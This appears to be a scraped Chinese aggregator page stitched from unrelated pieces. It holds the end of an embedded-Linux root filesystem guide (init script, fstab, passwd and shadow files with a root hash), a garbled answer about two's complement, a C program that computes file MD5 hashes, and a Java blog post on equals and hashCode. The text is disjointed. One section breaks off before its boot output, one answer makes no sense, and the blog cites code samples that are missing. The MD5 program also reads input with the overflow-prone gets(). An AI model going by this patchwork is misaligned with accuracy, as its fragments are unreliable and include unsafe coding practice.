/sbin/route add default gw 192.168.1.1 eth0 //添加默认路由
/bin/mount -a //将文件etc/fstab中指明的文件系统挂载到对应挂载点上
后面的8行是对telnetd的配置
echo /sbin/mdev>/proc/sys/kernel/hotplug //用mdev来处理内核的热插拔事件。
当有热插拔事件产生时,内核就会调用位于/sbin目录的mdev。这时mdev通过环境变量中的ACTION和DEVPATH,
(这两个变量是系统自带的)来确定此次热插拔事件的动作以及影响了/sys 中的那个目录。接着会看看这个目录中是否有“dev”的属性文件,
如果有就利用这些信息为 这个设备在/dev 下创建设备节点文件。
mdev -s //建立dev目录。以‘-s’为参数调用位于/sbin 目录写的 mdev(其实是个链接,作用是传递参数给/bin目录下的busybox 程序并调用它),mdev扫描 /sys/class 和/sys /block中所有的类设备目录,如果在目录中含有名为“dev”的文件,且文件中包含的是设备号,则 mdev 就利用这些信息为这个设备在/dev下创建设备节点文件。一般只在启动时才执行一次“mdev -s”
/usr/sbin/telnetd & //后台运行telnetd
/usr/sbin/vsftpd & //后台运行vsftpd
------------------------------------------------------------------------------------------------------------------------------
(3)修改文件etc/fstab如下:
#device mount-point type option mp fsck order
proc /proc proc defaults 0 0
none /tmp ramfs defaults 0 0
sysfs /sys sysfs defaults 0 0
mdev /dev ramfs defaults 0 0
在系统启动初始化文件/etc/init.d/rcS中有执行挂载命令/bin/mount -a ,这便是将文件etc/fstab中指定 的文件系统挂载到对应的挂载点上。这些文件系统的挂在是执行mdev -s命令建立dev目录的前提------------------------------------------------------------------------------------------------------------------------------
(4)在启动脚本etc/init.d/rcS执行完后将在串口s3c2410_serial0启动一个shell。Shell启动过程中会根据文件/etc/profile配置登陆环境。
文件/etc/profile修改如下:
USER=" 'id -un' "
LOGNAME=$USER
PS1='[\u@\h \W]# '
PATH=$PATH
HOSTNAME='/bin/hostname'
export USER LOGNAME PS1 PATH

具体说明:
USER="id -un" //获取用户名id-un与whoami命令有相同的功能
PS1='[\u@\h \W]# ' //PS1指定sh提示符的格式在本环境下将是[root@cyembed /]#
export USER LOGNAME PS1 PATH 将这些变量导出到环境。
(5)在用户登录时将在/etc下寻找三个文件passwd ,shadow, group匹配相关信息。
这三个文件修改如下:
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

/etc/group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
ftp:x:50:
nobody:x:99:

/etc/shadow root:$6$hnswPTgxzFaZHlLl$//:14819:0:99999:7:::
bin:*:14715:0:99999:7:::
daemon:*:14715:0:99999:7:::
ftp:*:14715:0:99999:7:::
nobody:*:14715:0:99999:7:::
------------------------------------------------------------------------------------------------------------
6. 制作yaffs2根文件系统镜像
用天嵌科技提供的yaffs2文件系统镜像制作工具mkyaffs2image,制作根文件系统镜像。
#./mkyaffs2image root_fs root_fs.bin

7. 将根文件系统镜像下载到nand flash并启动
启动信息如下:

❽ –31/64的源码是补码是

还是,求整数的吧。

小数,这是要用浮点数表示的。

❾ 求32位MD5加密c语言源码

#include<stdio.h>
#include<string.h>
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

#define RL(x, y) (((x) << (y)) | ((x) >> (32 - (y)))) //x向左循环移y位

#define PP(x) (x<<24)|((x<<8)&0xff0000)|((x>>8)&0xff00)|(x>>24) //将x高低位互换,例如PP(aabbccdd)=ddccbbaa

#define FF(a, b, c, d, x, s, ac) a = b + (RL((a + F(b,c,d) + x + ac),s))
#define GG(a, b, c, d, x, s, ac) a = b + (RL((a + G(b,c,d) + x + ac),s))
#define HH(a, b, c, d, x, s, ac) a = b + (RL((a + H(b,c,d) + x + ac),s))
#define II(a, b, c, d, x, s, ac) a = b + (RL((a + I(b,c,d) + x + ac),s))

unsigned A,B,C,D,a,b,c,d,i,len,flen[2],x[16]; //i临时变量,len文件长,flen[2]为64位二进制表示的文件初始长度
char filename[200]; //文件名
FILE *fp;

void md5(){ //MD5核心算法,供64轮

a=A,b=B,c=C,d=D;
/**//* Round 1 */
FF (a, b, c, d, x[ 0], 7, 0xd76aa478); /**//* 1 */
FF (d, a, b, c, x[ 1], 12, 0xe8c7b756); /**//* 2 */
FF (c, d, a, b, x[ 2], 17, 0x242070db); /**//* 3 */
FF (b, c, d, a, x[ 3], 22, 0xc1bdceee); /**//* 4 */
FF (a, b, c, d, x[ 4], 7, 0xf57c0faf); /**//* 5 */
FF (d, a, b, c, x[ 5], 12, 0x4787c62a); /**//* 6 */
FF (c, d, a, b, x[ 6], 17, 0xa8304613); /**//* 7 */
FF (b, c, d, a, x[ 7], 22, 0xfd469501); /**//* 8 */
FF (a, b, c, d, x[ 8], 7, 0x698098d8); /**//* 9 */
FF (d, a, b, c, x[ 9], 12, 0x8b44f7af); /**//* 10 */
FF (c, d, a, b, x[10], 17, 0xffff5bb1); /**//* 11 */
FF (b, c, d, a, x[11], 22, 0x895cd7be); /**//* 12 */
FF (a, b, c, d, x[12], 7, 0x6b901122); /**//* 13 */
FF (d, a, b, c, x[13], 12, 0xfd987193); /**//* 14 */
FF (c, d, a, b, x[14], 17, 0xa679438e); /**//* 15 */
FF (b, c, d, a, x[15], 22, 0x49b40821); /**//* 16 */

/**//* Round 2 */
GG (a, b, c, d, x[ 1], 5, 0xf61e2562); /**//* 17 */
GG (d, a, b, c, x[ 6], 9, 0xc040b340); /**//* 18 */
GG (c, d, a, b, x[11], 14, 0x265e5a51); /**//* 19 */
GG (b, c, d, a, x[ 0], 20, 0xe9b6c7aa); /**//* 20 */
GG (a, b, c, d, x[ 5], 5, 0xd62f105d); /**//* 21 */
GG (d, a, b, c, x[10], 9, 0x02441453); /**//* 22 */
GG (c, d, a, b, x[15], 14, 0xd8a1e681); /**//* 23 */
GG (b, c, d, a, x[ 4], 20, 0xe7d3fbc8); /**//* 24 */
GG (a, b, c, d, x[ 9], 5, 0x21e1cde6); /**//* 25 */
GG (d, a, b, c, x[14], 9, 0xc33707d6); /**//* 26 */
GG (c, d, a, b, x[ 3], 14, 0xf4d50d87); /**//* 27 */
GG (b, c, d, a, x[ 8], 20, 0x455a14ed); /**//* 28 */
GG (a, b, c, d, x[13], 5, 0xa9e3e905); /**//* 29 */
GG (d, a, b, c, x[ 2], 9, 0xfcefa3f8); /**//* 30 */
GG (c, d, a, b, x[ 7], 14, 0x676f02d9); /**//* 31 */
GG (b, c, d, a, x[12], 20, 0x8d2a4c8a); /**//* 32 */

/**//* Round 3 */
HH (a, b, c, d, x[ 5], 4, 0xfffa3942); /**//* 33 */
HH (d, a, b, c, x[ 8], 11, 0x8771f681); /**//* 34 */
HH (c, d, a, b, x[11], 16, 0x6d9d6122); /**//* 35 */
HH (b, c, d, a, x[14], 23, 0xfde5380c); /**//* 36 */
HH (a, b, c, d, x[ 1], 4, 0xa4beea44); /**//* 37 */
HH (d, a, b, c, x[ 4], 11, 0x4bdecfa9); /**//* 38 */
HH (c, d, a, b, x[ 7], 16, 0xf6bb4b60); /**//* 39 */
HH (b, c, d, a, x[10], 23, 0xbebfbc70); /**//* 40 */
HH (a, b, c, d, x[13], 4, 0x289b7ec6); /**//* 41 */
HH (d, a, b, c, x[ 0], 11, 0xeaa127fa); /**//* 42 */
HH (c, d, a, b, x[ 3], 16, 0xd4ef3085); /**//* 43 */
HH (b, c, d, a, x[ 6], 23, 0x04881d05); /**//* 44 */
HH (a, b, c, d, x[ 9], 4, 0xd9d4d039); /**//* 45 */
HH (d, a, b, c, x[12], 11, 0xe6db99e5); /**//* 46 */
HH (c, d, a, b, x[15], 16, 0x1fa27cf8); /**//* 47 */
HH (b, c, d, a, x[ 2], 23, 0xc4ac5665); /**//* 48 */

/**//* Round 4 */
II (a, b, c, d, x[ 0], 6, 0xf4292244); /**//* 49 */
II (d, a, b, c, x[ 7], 10, 0x432aff97); /**//* 50 */
II (c, d, a, b, x[14], 15, 0xab9423a7); /**//* 51 */
II (b, c, d, a, x[ 5], 21, 0xfc93a039); /**//* 52 */
II (a, b, c, d, x[12], 6, 0x655b59c3); /**//* 53 */
II (d, a, b, c, x[ 3], 10, 0x8f0ccc92); /**//* 54 */
II (c, d, a, b, x[10], 15, 0xffeff47d); /**//* 55 */
II (b, c, d, a, x[ 1], 21, 0x85845dd1); /**//* 56 */
II (a, b, c, d, x[ 8], 6, 0x6fa87e4f); /**//* 57 */
II (d, a, b, c, x[15], 10, 0xfe2ce6e0); /**//* 58 */
II (c, d, a, b, x[ 6], 15, 0xa3014314); /**//* 59 */
II (b, c, d, a, x[13], 21, 0x4e0811a1); /**//* 60 */
II (a, b, c, d, x[ 4], 6, 0xf7537e82); /**//* 61 */
II (d, a, b, c, x[11], 10, 0xbd3af235); /**//* 62 */
II (c, d, a, b, x[ 2], 15, 0x2ad7d2bb); /**//* 63 */
II (b, c, d, a, x[ 9], 21, 0xeb86d391); /**//* 64 */

A += a;
B += b;
C += c;
D += d;

}

main(){
while(1){
printf("Input file:");
gets(filename); //用get函数,避免scanf以空格分割数据,
if (filename[0]==34) filename[strlen(filename)-1]=0,strcpy(filename,filename+1); //支持文件拖曳,但会多出双引号,这里是处理多余的双引号
if (!strcmp(filename,"exit")) exit(0); //输入exit退出
if (!(fp=fopen(filename,"rb"))) {printf("Can not open this file!\n");continue;} //以二进制打开文件
fseek(fp, 0, SEEK_END); //文件指针转到文件末尾
if((len=ftell(fp))==-1) {printf("Sorry! Can not calculate files which larger than 2 GB!\n");fclose(fp);continue;} //ftell函数返回long,最大为2GB,超出返回-1
rewind(fp); //文件指针复位到文件头
A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476; //初始化链接变量
flen[1]=len/0x20000000; //flen单位是bit
flen[0]=(len%0x20000000)*8;
memset(x,0,64); //初始化x数组为0
fread(&x,4,16,fp); //以4字节为一组,读取16组数据
for(i=0;i<len/64;i++){ //循环运算直至文件结束
md5();
memset(x,0,64);
fread(&x,4,16,fp);
}
((char*)x)[len%64]=128; //文件结束补1,补0操作,128二进制即10000000
if(len%64>55) md5(),memset(x,0,64);
memcpy(x+14,flen,8); //文件末尾加入原文件的bit长度
md5();
fclose(fp);
printf("MD5 Code:%08x%08x%08x%08x\n",PP(A),PP(B),PP(C),PP(D)); //高低位逆反输出
}
}

❿ Equals And HashCode 梳理

常言道:"基础不牢,地动山摇"。万丈高楼平地起,不管学习什么语言,在高谈阔论框架和语言应用的同时,也不能忘了语言基础。
本文是关于Equals和HashCode关系梳理的一篇文章,会主要从定义、联系、使用这三个方面围绕展开。

equals()是object里的方法,话不多说,先直接上源码:

正如注释第一句所谈到的, equals就是一个辨别两个对象之间的"相等"关系的函数
当然这种相等关系应由子类自行定义,但注释中指出需遵守以下性质:
性质1: reflexive,自反性 。对于任何非空引用x,x.equals(x)==true应恒成立。
性质2: symmetric,对称性 。对于两个非空引用x和y,x.euqals(y)==true当且仅当y.euqals(x)==true。
性质3: transitive,传递性。 简单地讲,x equals y , y equals z, 则x equals z成立。
性质4: consistent,一致性。 如果两个非空对象x,y没有发生变化,则反复调用x.euqals(y)所返回的结果应一致。
性质5:对于任何非空引用x,x.equals(null)==false成立。

了解完性质,关键的地方来了:

注释中指出,重写equals()则应重写hashcode(),使得equals相等的对象具有相等的hashCode。

hashcode是native方法,具体生成的细节和jdk版本有关,如何生成hashcode并不是今天的主题。接下来,我们看下hashcode的部分注释:

总的来讲:
hashcode的产生是为了hashmap等使用到hashcode的散列存储结构服务的。
hashcode有如下三个性质:
性质1 :一致性:对于同一对象,多次调用hashcode()应返回相同的Integer。
性质2 :equals相等,则hashCode必须相等。
性质3 :equals不等,hashCode不是必须不等。

了解了hashcode()以及equals()之后,肯定会发生这样一个疑问,为什么equals相等,hashcode必须相等?
实际上,这个问题只要搞懂hashcode()的用途,就可以很清楚的明白了。
hashcode()产生的目的就是为了hashMap等散列存储结构提供支持。
提供什么样的支持?
首先要明白,散列结构存储元素的重要过程之一是判别元素的“相同”/“不同”,这个相同与否是根据元素的hash值(为了降低hash冲突的概率,不同结构计算hash值的方式不同,但都是基于hashCode)决定的。每次put元素,则计算对应元素的hash值以及对应的坐标 ,有hash冲突则解决hash冲突,没有就直接存放。
这样做的好处是 ,当我要向一个散列结构存储一个元素时,我判别是否有重复元素,只需要计算hash值一次并比较,而不是对已经存储的每个元素依次equals(想象一个巨大的hashset,每次存放一个元素要和所有元素依次equals,这效率该多么低下)。
所以问题来了 ,如果散列结构存储的元素重写了equals方法却没有重写hashcode()方法,就会导致一个问题:逻辑上我们认为相同的对象(equals==true),在散列存储结构的存储中因为hashcode的不同,最终被判定为两个不同的对象,从而存放了两份。
显然这并不是我们想要的。
下面附上一个例子,来展示下

这里创建了一个Person对象,重写了equals方法,equals方法的逻辑是如果是同一个对象或者两个Person对象的名字和年龄相等,则认为是“相等”的。

这里我们创建了两个我们认为逻辑上相等的对象,使用hashset测试结果为:

显然hashset将其认为是两个对象,分别存储了。
所以我们现在要做的就是重写hashCode()方法,确保equals相等的实例hashcode()也相等。

不要小瞧equals()和hashcode()的重写,如果不恰当的重写,会导致一系列难以预料的结果产生。

在上面的person例子中,对equals的重写,我参照了String的equals重写。
大致逻辑是 判断是否为同一个对象,如果否,判断是否相同类型且逻辑相等。
实际上《Effective Java》这本书中提出了一个关于重写equals的规范,可以进行参考。

对于equals的重写, 最应该记住的是传入的应该是object! (最好使用@Override来帮助检查),否则就不是重写而是重载了!

当然,在重写完equals后最好对其进行单元测试,看其是否符合之前所讲的equals方法所强调的性质 。如果你是android开发人员,简单的junit单元测试可以参照我之前的一篇博客。 https://www.jianshu.com/p/5fea0dcc53b6

同样的《Effective Java》这本书中提出了一个关于重写HashCode方法的建议,可以进行参考。

我们参照上面的建议,重写一下Person类的hashcode():

在未测试的情况下这个hashcode()的冲突处理是否合适还需考量,但逻辑上它确实保证了与equals方法的同步。
现在再进行测试,发现已经搞定。

看到《Effective Java》建议的你,一定会有些疑问,why must 31?
事实上,如果你看过String(Android jdk)的hashCode源码,你会发现它是这样的

它竟然也使用了31这个数字!!
所以这背后的原理是什么呢?31又有怎样的好处呢?
《Effective Java》里也进行了解释:

这段话里已经讲的比较明确了:
1.选择奇数,防止溢出信息丢失。(实际这一点我还不太明白,有懂的老哥可以讲讲)
2.选择素数,because its traditional。(总的来讲就是和是否是素数关系不大。可以看下面的StackOverFlow链接,许多人认为和是否为素数没关系,毕竟所有的素数都是奇数(除了2))
3.乘以31,可以被优化为位运算,就会比传统的乘法快很多。

所以为什么必须是31呢?41,51不行吗?
https://stackoverflow.com/questions/299304/why-does-javas-hashcode-in-string-use-31-as-a-multiplier
stackOverFlow的这篇问答里有一个老哥做了测试:

也就是说,如果对超过50000个英语单词做hash运算,并采用31,33,37,39,41等做为常数乘,结果冲突次数都在7次以内。
那么31是最接近2幂次的数字,优化为位运算更简洁,自然采用31。

这篇博客在草稿箱里也待了好几天,一直耽搁着没有发出来。今天完成了发出来真是畅快啊。

热点内容
win7c盘加密 发布:2025-05-14 15:04:49 浏览:510
dm码编程 发布:2025-05-14 15:03:56 浏览:402
apache加密 发布:2025-05-14 14:49:13 浏览:967
安卓什么软件苹果不能用 发布:2025-05-14 14:49:03 浏览:769
jsoupjava 发布:2025-05-14 14:38:00 浏览:885
影豹选哪个配置最好 发布:2025-05-14 14:28:50 浏览:255
定期预算法的 发布:2025-05-14 14:24:08 浏览:894
interbase数据库 发布:2025-05-14 13:49:50 浏览:691
微商海报源码 发布:2025-05-14 13:49:42 浏览:347
分布式缓存部署步骤 发布:2025-05-14 13:24:51 浏览:611